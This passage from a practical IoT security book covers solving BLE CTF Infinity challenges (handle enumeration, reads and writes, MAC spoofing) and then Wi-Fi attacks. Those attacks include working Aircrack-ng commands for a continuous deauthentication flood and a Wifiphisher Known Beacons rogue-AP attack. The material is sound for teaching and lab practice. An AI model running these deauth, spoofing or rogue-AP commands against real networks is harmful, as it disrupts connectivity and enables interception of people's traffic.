[A4:CF:12:6C:B3:76][LE]> exit
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Now, we have the handles, values, and services that describe the data 
and operations the BLE device supports.

Let’s analyze this information with Bettercap, a more powerful tool that 
will help us see the information in a human-readable format.

Bettercap
Bettercap (https://www.bettercap.org/) is a tool for scanning and attacking 
devices that operate on the 2.4 GHz frequency. It provides a friendly inter-
face (even a GUI) and extensible modules to perform the most common 
tasks for BLE scanning and attacking, such as listening to advertising pack-
ets and performing read/write operations. Additionally, you can use it to 
attack Wi-Fi, HID, and other technologies with man-in-the-middle attacks 
or other tactics. 

Bettercap is installed on Kali by default, and it’s available in most Linux 
package managers. You can install and run it from Docker using the follow-
ing commands:

# docker pull bettercap/bettercap
# docker run -it --privileged --net=host bettercap/bettercap -h

To discover BLE-enabled devices, enable the BLE module and start cap-
turing beacons with the ble.recon option. Invoking it with the --eval option 
when loading Bettercap takes Bettercap commands and executes them 
automatically when Bettercap runs: 

# bettercap --eval “ble.recon on”
Bettercap v2.24.1 (built for linux amd64 with go1.11.6) [type ‘help’ for a 
list of commands]
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device 
BLECTF detected as A4:CF:12:6C:B3:76  -46 dBm
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device 
BLE_CTF_SCORE detected as 24:62:AB:B1:AB:3E  -33 dBm
192.168.1.6/24 > 192.168.1.159 >> [16:25:39] [ble.device.new] new BLE device 
detected as 48:1A:76:61:57:BA (Apple, Inc.)  -69 dBm

You should see a line for each BLE advertising packet received. This 
information should include the device name and MAC address, which you’ll 
need to establish communication with the devices.

If you launched Bettercap with the eval option, you can record all dis-
covered devices automatically. Then you can conveniently issue the ble.show 
command to list the discovered devices and related information, such as 
their MAC addresses, vendors, and flags (Figure 11-6).

>> ble.show

Notice that ble.show command output contains the signal strength 
(RSSI), the advertising MAC address we’ll use to connect to the device, and 
the vendor, which can give us a hint about the type of device we’re looking 
at. It also displays the combination of supported protocols, the connection 
status, and the last received beacon’s timestamp.

https://www.bettercap.org/
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Figure 11-6: Bettercap shows discovered devices

Enumerating Characteristics, Services, and Descriptors 
Once we’ve identified our target device’s MAC address, we can run the fol-
lowing Bettercap command. This command obtains a nice, formatted table 
with the characteristics grouped by services, their properties, and the data 
available through the GATT: 

>> ble.enum <mac addr>

Figure 11-7 shows the resulting table. 

Figure 11-7: Enumerating GATT servers with Bettercap

In the data column, we can see that this GATT server is the dashboard 
of a CTF describing the different challenges, as well as instructions for sub-
mitting your answers and checking your score. 

This is a fun way to learn about practical attacks. But before we jump 
into solving one, let’s make sure you know how to perform classic read and 
write operations. You’ll use these for reconnaissance and to write data that 
alters a device’s state. The WRITE property is highlighted when handles 
allow the operations; pay close attention to the handles that support this, 
because they’re often misconfigured.



278   Chapter 11

Reading and Writing Characteristics
In BLE, UUIDs uniquely identify characteristics, services, and attributes. 
Once you know a characteristic’s UUID, you can write data to it with the 
ble.write Bettercap command:

>> ble.write <MAC ADDR> <UUID> <HEX DATA> 

You must format all the data you send in hexadecimal format. For 
example, to write the word “hello” to characteristic UUID ff06, you would 
send this command inside Bettercap’s interactive shell:

>> ble.write <mac address of device> ff06 68656c6c6f

You can also use GATTTool to read and write data. GATTTool supports 
additional input formats for specifying handlers or UUIDs. For example, to 
issue a write command with GATTTool instead of Bettercap, use the following 
command:

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-
write-req <characteristic handle> <value>

Now, let’s practice reading some data using GATTTool. Grab the device 
name from the handler 0x16. (This is reserved by the protocol to be the 
name of the device.)

# gatttool -i <Bluetooth adapter interface> -b <MAC address of device> --char-
read -a 0x16
# gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x16
Characteristic value/descriptor: 32 62 30 30 30 34 32 66 37 34 38 31 63 37 62 
30 35 36 63 34 62 34 31 30 64 32 38 66 33 33 63 66

You can now discover devices, list characteristics, and read and write 
data to attempt to manipulate the device’s functionality. You’re ready to 
start doing some BLE hacking.

BLE Hacking
In this section, we’ll walk through a CTF  designed to help you practice 
hacking BLE: the BLE CTF Infinity project (https://github.com/hackgnar/ble 
_ctf_infinity/). Solving the CTF challenges requires using basic and 
advanced concepts. This CTF runs on the ESP32 WROOM board.

We’ll use Bettercap and GATTTool, because one often works better 
than the other for certain tasks. Solving these practical challenges from this 
CTF will teach you how to explore unknown devices to discover function-
ality and manipulate the states of these devices. Before moving on, make 
sure you set up your development environment and toolchain for ESP32, as 
described at https://docs.espressif.com/projects/esp-idf/en/latest/get-started/. Most 
of the steps will work as documented with a few considerations that we’ll 
mention next.

https://github.com/hackgnar/ble_ctf_infinity/
https://github.com/hackgnar/ble_ctf_infinity/
https://docs.espressif.com/projects/esp-idf/en/latest/get-started/
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Setting Up BLE CTF Infinity
To build BLE CTF Infinity, we recommend using a Linux box, because the 
make file performs some additional copy operations on the source code 
(feel free to write a CMakeLists.txt file if you prefer building it on Windows). 
The file you need for this build is included with this book’s resources at 
https://nostarch.com/practical-iot-hacking/. To build it successfully, you need to 
do the following:

	1.	 Create an empty folder named main in the project’s root folder.

	2.	 Execute make menuconfig. Make sure your serial device is configured 
and has Bluetooth enabled, and that compiler warnings are not 
treated as errors. Again, we include the sdkconfig file for this build 
with this book’s resources.

	3.	 Run make codegen to run the Python script that copies the source files 
into the main folder among other things.

	4.	 Edit the file main/flag_scoreboard.c and change the variable string_total 
_flags[] from 0 to 00.

	5.	 Run make to build the CTF and make flash to flash the board. When the 
process is complete, the CTF program will automatically start.  

Once you have CTF running, you should see the beacons when scan-
ning. Another option is to communicate with the assigned serial port 
(default baud rate 115200) and check the debug output.

…
I (1059) BLE_CTF: create attribute table successfully, the number handle = 31

I (1059) BLE_CTF: SERVICE_START_EVT, status 0, service_handle 40
I (1069) BLE_CTF: advertising start successfully

Getting Started
Locate the scoreboard, which shows the handle for submitting flags, the 
handle for navigating the challenges, and another handle to reset the CTF. 
Then enumerate the characteristics with your favorite tool (Figure 11-8).

The 0030 handle lets you navigate through the challenges. Using 
Bettercap, write the value 0001 to that handle to go to flag #1:

>> ble.write a4:cf:12:6c:b3:76 ff02 0001

To do the same with GATTTool, use the following command:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0001

https://nostarch.com/practical-iot-hacking/
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Figure 11-8: Bettercap enumerating BLE CTF Infinity

Once you’ve written the characteristic, the beacon name will indicate 
that you’re looking at the GATT server for flag #1. For example, Bettercap 
will show something like the following output:

[ble.device.new] new BLE device FLAG_01 detected as A4:CF:12:6C:B3:76 -42 dBm

This displays a new GATT table, one for each challenge. Now that 
you’re familiar with the basic navigation, let’s go back to the scoreboard:

[a4:cf:12:6c:b3:76][LE]> char-write-req 0x002e 0x1

Let’s begin with flag #0. Navigate to it by writing the value 0000 to the 
0x0030 handle:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

Interestingly, challenge 0 seems to be nothing more than the ini-
tial GATT server displaying the scoreboard (Figure 11-9). Did we miss 
anything? 

After taking a closer look, the device name 04dc54d9053b4307680a 
looks a lot like a flag, right? Let’s test it by submitting the device name as 
an answer to the handle 002e. Note that if you use GATTTool, you need to 
format it in hex:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n 
"04dc54d9053b4307680a"|xxd -ps)
Characteristic value was written successfully

When we examine the scoreboard, we see that it worked as flag 0 is 
shown as complete. We’ve solved the first challenge. Congratulations! 
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Figure 11-9: Characteristics of the BLE CTF INFINITY scoreboard

Flag 1: Examining Characteristics and Descriptors
Now navigate to FLAG_01 using this command:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x0030 -n 0000

For this flag, we once again begin by examining the GATT table. Let’s 
try using GATTTool to list the characteristics and descriptors:

# gatttool -b a4:cf:12:6c:b3:76 -I
 [a4:cf:12:6c:b3:76][LE]> connect
Attempting to connect to a4:cf:12:6c:b3:76
Connection successful
[a4:cf:12:6c:b3:76][LE]> primary
attr handle: 0x0001, end grp handle: 0x0005 uuid: 
00001801-0000-1000-8000-00805f9b34fb
attr handle: 0x0014, end grp handle: 0x001c uuid: 
00001800-0000-1000-8000-00805f9b34fb
attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000-
00805f9b34fb
write-req   characteristics  
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0001
Characteristic value/descriptor: 01 18 
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0014
Characteristic value/descriptor: 00 18 
[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x0028
Characteristic value/descriptor: ff 00 
 [a4:cf:12:6c:b3:76][LE]> char-desc 
handle: 0x0001, uuid: 00002800-0000-1000-8000-00805f9b34fb
…
handle: 0x002e, uuid: 0000ff03-0000-1000-8000-00805f9b34fb
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After examining each of the descriptors, we find a value in handle 0x002c 
that looks like a flag. To read a handle’s descriptor value, we can use the  
char-read-hnd <handle> command, like this:

[a4:cf:12:6c:b3:76][LE]> char-read-hnd 0x002c
Characteristic value/descriptor: 38 37 33 63 36 34 39 35 65 34 65 37 33 38 63 
39 34 65 31 63

Remember that the output is hex formatted, so this corresponds to the 
ASCII text 873c6495e4e738c94e1c.

We’ve found the flag! Navigate back to the scoreboard and submit the 
new flag, as we did previously with flag 0:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n 
"873c6495e4e738c94e1c"|xxd -ps)
Characteristic value was written successfully

We could have also used bash to automate the discovery of this flag. In 
that case, we’d iterate through the handlers to read the value of each han-
dler. We could easily rewrite the following script into a simple fuzzer that 
writes values instead of performing the --char-read operation:

#!/bin/bash
for i in {1..46}
do
  VARX=`printf '%04x\n' $i`
  echo "Reading handle: $VARX"
  gatttool -b a4:cf:12:6c:b3:76 --char-read -a 0x$VARX
  sleep 5
done

When we run the script, we should obtain the information from the 
handles:

Reading handle: 0001
Characteristic value/descriptor: 01 18 
Reading handle: 0002
Characteristic value/descriptor: 20 03 00 05 2a 
…
Reading handle: 002e
Characteristic value/descriptor: 77 72 69 74 65 20 68 65 72 65 20 74 6f 20 67 
6f 74 6f 20 74 6f 20 73 63 6f 72 65 62 6f 61 72 64

Flag 2: Authentication
When you view the FLAG_02 GATT table, you should see the message 
“Insufficient authentication” on handle 0x002c. You should also see the 
message “Connect with pin 0000” on handle 0x002a (Figure 11-10). This 
challenge emulates a device with a weak pin code used for authentication. 
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Figure 11-10: We need to authenticate before reading the 002c handle.

The hint implies we need to establish a secure connection to read the pro-
tected 0x002c handle. To do this, we use GATTTool with the --sec-level=high 
option, which sets the security level of the connection to high and makes an 
authenticated, encrypted connection (AES-CMAC or ECDHE) before reading 
the value:

# gatttool --sec-level=high -b a4:cf:12:6c:b3:76 --char-read -a 0x002c
Characteristic value/descriptor: 35 64 36 39 36 63 64 66 35 33 61 39 31 36 63 
30 61 39 38 64 

Nice! This time, after converting from hex to ASCII, we get the flag 
5d696cdf53a916c0a98d instead of the “Insufficient authentication” mes-
sage. Go back to the scoreboard and submit it, as shown previously:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n 
"5d696cdf53a916c0a98d"|xxd -ps)
Characteristic value was written successfully

The flag is correct, as shown on the scoreboard! We’ve solved challenge #2.

Flag 3: Spoofing Your MAC Address
Navigate to FLAG_03 and enumerate the services and characteristics in 
its GATT server. On handle 0x002a is the message “Connect with mac 
11:22:33:44:55:66” (Figure 11-11). This challenge requires us to learn how to 
spoof the origin of the MAC address of a connection to read the handle.

Figure 11-11: FLAG_3 characteristics using Bettercap
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This means we must spoof our real Bluetooth MAC address to get the 
flag. Although you can use Hciconfig to issue commands that will change 
your MAC, the spooftooph Linux utility is a lot easier to use, because it 
doesn’t require you to send raw commands. Install it from your favorite 
package manager and run the following command to set your MAC to the 
address stated in the message:

# spooftooph -i hci0 -a 11:22:33:44:55:66
Manufacturer:   Cambridge Silicon Radio (10)
Device address: 00:1A:7D:DA:71:13
New BD address: 11:22:33:44:55:66

Address changed

Verify your new spoofed MAC address using hciconfig:

# hciconfig
hci0:   Type: Primary  Bus: USB
        BD Address: 11:22:33:44:55:66  ACL MTU: 310:10  SCO MTU: 64:8
        UP RUNNING 
        RX bytes:682 acl:0 sco:0 events:48 errors:0
        TX bytes:3408 acl:0 sco:0 commands:48 errors:0

Using Bettercap’s ble.enum command, take another look at the GATT 
server for this challenge. This time, you should see a new flag on the 0x002c 
handle (Figure 11-12).

Figure 11-12: FLAG_3 is shown after connecting with the desired MAC address.

Return to the scoreboard and submit your new flag:

# gatttool -b a4:cf:12:6c:b3:76 --char-write-req -a 0x002e -n $(echo -n 
"0ad3f30c58e0a47b8afb"|xxd -ps)
Characteristic value was written successfully
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Then check the scoreboard to see your updated score (Figure 11-13).

Figure 11-13: The scoreboard after completing the first challenges

Conclusion
After this brief introduction to BLE hacking, we hope we’ve inspired you 
to continue solving the CTF challenges. They’ll demonstrate real-life tasks 
that you’ll need daily when assessing BLE-enabled devices. We showed core 
concepts and some of the most popular attacks, but keep in mind that you 
can perform other attacks, too, such as man-in-the-middle attacks, if the 
device isn’t using a secure connection. 

Many specific protocol implementation vulnerabilities currently exist. 
For every new application or protocol that uses BLE, there’s a chance the 
programmer made an error that introduced a security bug in their imple-
mentation. Although the new version of Bluetooth (5.0) is available now, the 
adoption phase is moving slowly, so you’ll see plenty of BLE devices in the 
years to come.





Medium-range radio technologies can 
connect devices across a range of up to 

100 meters (approximately 328 feet). In this 
chapter, we focus on Wi-Fi, the most popular 

technology in IoT devices.
We explain how Wi-Fi works and then describe some of the most impor-

tant attacks against it. Using a variety of tools, we perform disassociation 
and association attacks. We also abuse Wi-Fi Direct and walk through some 
popular ways of breaking WPA2 encryption.

How Wi-Fi Works
Other medium-range radio technologies, such as Thread, Zigbee, and 
Z-Wave, were designed for low-rate applications with a maximum of 
250Kbps, but Wi-Fi was created for high-rate data transfers. Wi-Fi also  
has a higher power consumption than the other technologies.

Wi-Fi connections involve an access point (AP), the networking device 
that allows Wi-Fi devices to connect to a network, and a client that can 
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connect to the AP. When a client successfully connects to an AP and data 
moves freely between them, we say the client is associated with the AP. We 
often use the term station (STA) to refer to any device that is capable of 
using the Wi-Fi protocol.

A Wi-Fi network can operate in either open or secure mode. In open 
mode, the AP won’t require authentication and will accept any client that 
attempts to connect. In secure mode, some form of authentication needs to 
take place before a client is connected to the AP. Some networks might also 
choose to be hidden; in that case, the network won’t broadcast its ESSID. An 
ESSID is the name of the network, such as “Guest” or “Free-WiFi.” A BSSID is 
the network’s MAC address. 

Wi-Fi connections share data using 802.11, a set of protocols that imple-
ment Wi-Fi communications. More than 15 different protocols are in the 
802.11 spectrum, and they’re labeled with letters. You might already be 
familiar with 802.11 a/b/g/n/ac, because you might have used any or all of 
them in the last 20 years. The protocols support different modulations and 
work on different frequencies and physical layers.

In 802.11, data is transferred via three major types of frames: data, 
control, and management. For the purpose of this chapter, we’ll work only 
with management frames. A management frame manages the network; for 
example, it’s used while searching for a network, authenticating clients, and 
even associating clients with APs. 

Hardware for Wi-Fi Security Assessments
Typically, a Wi-Fi security assessment includes attacks against APs and wire-
less stations. When it comes to testing IoT networks, both kinds of attacks 
are critical, because more and more devices are either capable of connect-
ing to a Wi-Fi network or serving as APs.  

When targeting IoT devices in a wireless assessment, you’ll need a wire-
less card that supports AP monitor mode and is capable of packet injection. 
Monitor mode lets your device monitor all traffic it receives from the wire-
less network. Packet injection capabilities allow your card to spoof packets to 
appear as if they originate from a different source. For the purpose of this 
chapter, we used an Alfa Atheros AWUS036NHA network card. 

In addition, you might need a configurable AP to test the various Wi-Fi 
settings. We used a portable TP-Link AP, but literally any AP would do. 
Unless the attacks are part of a red teaming engagement, the AP’s transmis-
sion power or the type of antenna you use aren’t important. 

Wi-Fi Attacks Against Wireless Clients
Attacks against wireless clients usually exploit the fact that 802.11 man-
agement frames aren’t cryptographically protected, leaving the packets 
exposed to eavesdropping, modification, or replay. You could accomplish 
all of these attacks through association attacks, which let the attacker 
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become a man in the middle. Attackers can also perform deauthentication 
and denial-of-service attacks, which disrupt the victim’s Wi-Fi connectivity 
to their AP.

Deauthentication and Denial-of-Service Attacks
Management frames in 802.11 can’t stop an attacker from spoofing a device’s 
MAC address. As a result, an attacker can forge spoofed Deauthenticate or 
Disassociate frames. These are management frames normally sent to termi-
nate a client’s connection to the AP. For example, they’re sent if the client 
connects to another AP or simply disconnects from the original network. If 
forged, an attacker can use these frames to disrupt existing associations to 
specific clients. 

Alternatively, instead of making the client disassociate from the AP, the 
attacker could flood the AP with authentication requests. These, in turn, 
cause a denial-of-service attack by keeping legitimate clients from connect-
ing to the AP. 

Both attacks are known denial-of-service attacks mitigated in 802.11w, 
a standard that hasn’t yet propagated in the IoT world. In this section, we’ll 
perform a deauthentication attack that disconnects all wireless clients from 
an AP. 

Start by installing the Aircrack-ng suite if you’re not using Kali, where 
it’s preinstalled. Aircrack-ng contains Wi-Fi assessment tools. Ensure your 
network card with packet injection capabilities is plugged in. Then use the 
iwconfig utility to identify the interface name belonging to the wireless card 
connected to your system: 

# apt-get install aircrack-ng
# iwconfig
docker0   no wireless extensions.
lo        no wireless extensions.

1 wlan0     IEEE 802.11  ESSID:off/any  
          Mode:Managed  Access Point: Not-Associated   Tx-Power=20 dBm   
          Retry short  long limit:2   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off  
eth0      no wireless extensions.

The output indicates that the wireless interface is wlan0 1. 
Because some processes in the system can interfere with the tools in the 

Aircrack-ng suite, use the Airmon-ng tool to check and automatically kill 
these processes. To do this, first disable the wireless interface using ifconfig:

# ifconfig wlan0 down 
# airmon-ng check kill 
Killing these processes:
PID Name
731 dhclient
1357 wpa_supplicant
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Now set the wireless card to monitor mode using Airmon-ng: 

# airmon-ng start wlan0 
PHY    Interface     Driver        Chipset
phy0   wlan0         ath9k_htc     Qualcomm Atheros Communications AR9271 802.11n
       (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) 
       (mac80211 station mode vif disabled for [phy0]wlan0)

This tool creates a new interface, named wlan0mon, which you can use 
to run a basic sniffing session with Airodump-ng. The following command 
identifies the AP’s BSSID (its MAC address) and the channel on which it’s 
transmitting: 

# airodump-ng wlan0mon
CH 11 ][ Elapsed: 36 s ][ 2019-09-19 10:47                                                                                                                        
BSSID              PWR  Beacons    #Data, #/s   CH  MB   ENC CIPHER AUTH ESSID 
                                                                                                                         
6F:20:92:11:06:10  -77       15        0    0   6  130  WPA2 CCMP   PSK  ZktT 2.4Ghz               
6B:20:9F:10:15:6E  -85       14        0    0  11  130  WPA2 CCMP   PSK  73ad 2.4Ghz               
7C:31:53:D0:A7:CF  -86       13        0    0  11  130  WPA2 CCMP   PSK  A7CF 2.4Ghz 
82:16:F9:6E:FB:56  -40       11       39    0   6   65  WPA2 CCMP   PSK  Secure Home              
E5:51:61:A1:2F:78  -90        7        0    0   1  130  WPA2 CCMP   PSK  EE-cwwnsa             

Currently, the BSSID is 82:16:F9:6E:FB:56 and the channel is 6. We pass 
this data to Airodump-ng to identify clients connected to the AP: 

# airodump-ng wlan0mon --bssid  82:16:F9:6E:FB:56
CH 6 |[ Elapsed: 42 s ] [ 2019-09-19 10:49
BSSID                   PWR Beacons  #Data, #/s   CH    MB  ENC  CIPHER AUTH ESSID
82:16:F9:6E:FB:56       -37      24    267    2    6    65  WPA2 CCMP   PSK  Secure Home
BSSID                   STATION           PWR   Rate     Lost     Frames   Probe
82:16:F9:6E:FB:56       50:82:D5:DE:6F:45 -28   0e- 0e    904        274   

Based on this output, we identify one client connected to the AP. The 
client has the BSSID 50:82:D5:DE:6F:45 (the MAC address of their wireless 
network interface).

You could now send a number of disassociation packets to the client to 
force the client to lose internet connectivity. To perform the attack, we use 
Aireplay-ng: 

# aireplay-ng --deauth 0 -c 50:82:D5:DE:6F:45 -a 82:16:F9:6E:FB:56 wlan0mon

The --deauth parameter specifies the disassociation attack and the num-
ber of disassociation packets that will be sent. Selecting 0 means the packets 
will be sent continuously. The -a parameter specifies the AP’s BSSID, and 
the -c parameter specifies the targeted devices. The next listing shows the 
command’s output:

11:03:55   Waiting for beacon frame (BSSID:  82:16:F9:6E:FB:56) on channel 6
11:03:56   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [ 0|64 ACKS]
11:03:56   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [66|118 ACKS]
11:03:57   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [62|121 ACKS]
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11:03:58   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [64|124 ACKS]
11:03:58   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [62|110 ACKS]
11:03:59   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [64|75 ACKS]
11:03:59   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [63|64 ACKS]
11:03:00   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [21|61 ACKS]
11:03:00   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [ 0|67 ACKS]
11:03:01   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [ 0|64 ACKS]
11:03:02   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [ 0|61 ACKS]
11:03:02   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [ 0|66 ACKS]
11:03:03   Sending 64 directed DeAuth (code 7). STMAC [50:82:D5:DE:6F:45]  [ 0|65 ACKS]

The output shows the disassociation packets sent to the target. The 
attack succeeds when the target device becomes unavailable. When you 
check that device, you should see that it’s no longer connected to any 
network. 

You can perform denial-of-service attacks against Wi-Fi in other ways, 
too. Radio jamming, another common method, interferes with wireless com-
munications using any wireless protocol. In this attack, an attacker relies 
on a Software Defined Radio device or cheap, off-the-shelf Wi-Fi dongles 
to transmit radio signals and make a wireless channel unusable for other 
devices. We’ll show such an attack in Chapter 15. 

Alternatively, you could perform selective jamming, a sophisticated ver-
sion of a radio jamming attack in which the attacker jams only specific 
packets of high importance. 

It’s worth noting that for certain chipsets, deauthentication attacks can 
also downgrade the encryption keys used for communication between the 
AP and the client. Recent research by the antivirus company ESET identi-
fied this vulnerability, which is known as Kr00k (CVE-2019-15126). When 
present, the deauthenticated Wi-Fi chipset uses an all-zero encryption key 
upon reassociation, which allows attackers to decrypt packets transmitted 
by the vulnerable device.

Wi-Fi Association Attacks
An association attack tricks a wireless station into connecting to an attacker-
controlled AP. If the target station is already connected to some other 
network, the attacker usually starts by implementing one of the deauthen-
tication techniques we just explained. Once the victims no longer have a 
connection, the attacker can lure them into the rogue network by abusing 
different features of their network manager. 

In this section, we outline the most popular association attacks and 
then demonstrate a Known Beacons attack. 

The Evil Twin Attack

The most common association attack is the Evil Twin, which tricks a client 
into connecting with a fake AP by making it believe it’s connecting to a 
known, legitimate one. 

We can create a fake AP using a network adapter with monitoring and 
packet injection capabilities. With that network card, we’d set up the AP 
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and configure its channel, ESSID, and BSSID, making sure to copy the 
ESSID and encryption type the legitimate network uses. Then we’d send a 
stronger signal than the legitimate AP’s signal. You can enhance your signal 
with various techniques, most reliably by being physically closer to your tar-
get than the legitimate AP or by using a stronger antenna.

The KARMA Attack

KARMA attacks connect users to insecure networks by taking advantage of 
clients configured to discover wireless networks automatically. When config-
ured in this way, the client issues a direct probe request asking for specific 
APs, then it connects to the one it finds without authenticating it. A probe 
request is a management frame that initiates the association process. Given 
this configuration, the attacker could simply confirm any of the client’s 
requests and connect it to a rogue AP.

For a KARMA attack to work, the devices you’re targeting must meet 
three requirements. The target network must be of type Open, the client 
must have the AutoConnect flag enabled, and the client must broadcast 
its preferred network list. The preferred network list is a list of networks to 
which the client has previously connected and now trusts. A client with the 
AutoConnect flag enabled will connect to an AP automatically, as long as 
the AP sends it an ESSID already listed in the client’s preferred network list. 

Most modern operating systems aren’t vulnerable to KARMA attacks, 
because they don’t send their preferred network lists, but you might some-
times encounter a vulnerable system in older IoT devices or printers. If a 
device has ever connected to an open and hidden network, it’s definitely 
vulnerable to a KARMA attack. The reason is that the only way to connect 
to open hidden networks is to send a direct probe to them, in which case all 
the requirements for KARMA attacks are met. 

Performing a Known Beacons Attack

Since the discovery of the KARMA attack, most operating systems stopped 
directly probing APs; instead, they only use passive reconnaissance, in which 
the device listens for a known ESSID from a network. This type of behavior 
completely eliminates all occurrences of KARMA attacks.

A Known Beacons attack bypasses this security feature by taking advan-
tage of the fact that many operating systems enable the AutoConnect flag 
by default. Because APs frequently have very common names, an attacker 
can often guess the ESSID of an open network in a device’s preferred net-
work list. Then it tricks that device into automatically connecting to an 
attacker-controlled AP. 

In a more sophisticated version of the attack, the adversary could use a 
dictionary of common ESSIDs, such as Guest, FREE Wi-Fi, and so on, that 
the victim has likely connected to in the past. This is a lot like trying to gain 
unauthorized access to a service account by just brute forcing the username 
when no password is required: a quite simple, yet effective attack.

Figure 12-1 illustrates a Known Beacons attack. 
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Victim Attacker AP

Multiple beacon frames

Correctly guessed beacon frame

Probe request frame

Probe response frame
If known AP 
was of type 

Open Open authentication request

802.11 open authentication & association

Figure 12-1: A Known Beacons attack

The attacker’s AP begins by issuing multiple beacon frames, a type of man-
agement frame that contains all the network information. It’s broadcasted 
periodically to announce the presence of the network. If the victim has this 
network’s information in its preferred network list (because the victim has 
connected to that network in the past) and if the attacker and the victim APs 
are of the Open type, the victim will issue a probe request and connect to it. 

Before walking through this attack, we need to set up our devices. Some 
devices might allow you to change the AutoConnect flag. The location of 
this setting differs from device to device, but it’s usually in the Wi-Fi prefer-
ences, as shown in Figure 12-2, under a setting like “Auto reconnect.” Make 
sure it’s turned on.

Figure 12-2: Wi-Fi preferences with  
the AutoConnect toggle
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Next, set up an open AP with the name my_essid. We did this using a 
portable TP-Link AP, but you can use any device you’d like. Once you’ve 
set it up, connect your victim device to the my_essid network. Then install 
Wifiphisher (https://github.com/wifiphisher/wifiphisher/), a rogue AP framework 
frequently used for network assessments. 

 To install Wifiphisher, use the following commands:

$ sudo apt-get install libnl-3-dev libnl-genl-3-dev libssl-dev
$ git clone https://github.com/wifiphisher/wifiphisher.git
$ cd wifiphisher && sudo python3 setup.py install

Wifiphisher needs to target a specific network to start attacking that 
network’s clients. We create a test network, also called my_essid, to avoid 
affecting outside clients when we don’t have authorization to do so:

# 1 wifiphisher -nD –essid my_essid -kB
[*] Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2019-08-19 03:35
[+] Timezone detected. Setting channel range to 1-13
[+] Selecting wfphshr-wlan0 interface for the deauthentication attack
[+] Selecting wlan0 interface for creating the rogue Access Point
[+] Changing wlan0 MAC addr (BSSID) to 00:00:00:yy:yy:yy
[+] Changing wlan0 MAC addr (BSSID) to 00:00:00:xx:xx:xx
[+] Sending SIGKILL to wpa_supplicant
[*] Cleared leases, started DHCP, set up iptables
[+] Selecting OAuth Login Page template

We start Wifiphisher in the Known Beacons mode by adding the –kB 
argument 1. You don’t have to provide a wordlist for the attack because 
Wifiphisher has one built in. The wordlist contains common ESSIDs that 
the victim might have connected to in the past. Once you run the com-
mand, WifiPhisher’s interface should open, as shown in Figure 12-3.

Figure 12-3: Wifiphisher’s panel showing the victim device connecting to our network

Wifiphisher’s panel displays the number of connected victim devices. 
Currently, our test device is the only target device connected.

Look at the preferred network list of the device you’re targeting in this 
example. For instance, Figure 12-4 shows the preferred network list screen 

https://github.com/wifiphisher/wifiphisher/
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on a Samsung Galaxy S8+ device. Notice that it has two networks saved. The 
first one, FreeAirportWiFi, uses an easily guessable name. 

Figure 12-4: The victim device’s preferred  
network list screen

Sure enough, once we’ve executed the attack, the device should disas-
sociate from its currently connected network and connect to our malicious, 
fake network (Figure 12-5).

Figure 12-5: The victim device connects  
to a fake network as a result of the  
Known Beacons attack.

From this point on, the attacker can work as a man in the middle, mon-
itoring the victim’s traffic or even tampering with it.

Wi-Fi Direct
Wi-Fi Direct is a Wi-Fi standard that allows devices to connect to each other 
without a wireless AP. In a traditional architecture, all devices connect to one 
AP to communicate with one another. In Wi-Fi Direct, one of the two devices 
acts as the AP instead. We call this device the group owner. For Wi-Fi Direct to 
work, only the group owner must comply with the Wi-Fi Direct standard. 

You can find Wi-Fi Direct in devices like printers, TVs, gaming con-
soles, audio systems, and streaming devices. Many IoT devices that support 
Wi-Fi Direct are simultaneously connected to a standard Wi-Fi network. 
For example, a home printer might be able to accept photos directly from 
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your smartphone via Wi-Fi Direct, but it’s also probably connected to a 
local network. 

In this section, we’ll review how Wi-Fi Direct works, what its main 
modes of operation are, and which techniques you can use to exploit its 
security features. 

How Wi-Fi Direct Works

Figure 12-6 shows how devices establish a connection using Wi-Fi Direct.

Figure 12-6: Main phases of device connection in Wi-Fi Direct

In the Device Discovery phase, a device sends a broadcast message to 
all nearby devices, requesting their MAC addresses. At this stage, there is 
no group owner, so any device can initiate this step. Next, in the Service 
Discovery phase, the device receives the MAC addresses and proceeds with 
a unicast service request to each device asking for more information about 
their services. This allows it to decide whether it wants to connect to each 
device. After the Service Discovery phase, the two devices decide which will 
be the group owner and which will be the client.

In the final phase, Wi-Fi Direct relies on Wi-Fi Protected Setup (WPS) 
to securely connect the devices. WPS is a protocol originally created to allow 
less tech-savvy home users to easily add new devices on the network. WPS 
has multiple configuration methods: Push-Button Configuration (PBC), 
PIN entry, and Near-Field Communication (NFC). In PBC, the group owner 
has a physical button, which, if pressed, starts broadcasting for 120 seconds. 
In that time, the clients can connect to the group owner using their own 
software or hardware button. This makes it possible for a confused user to 
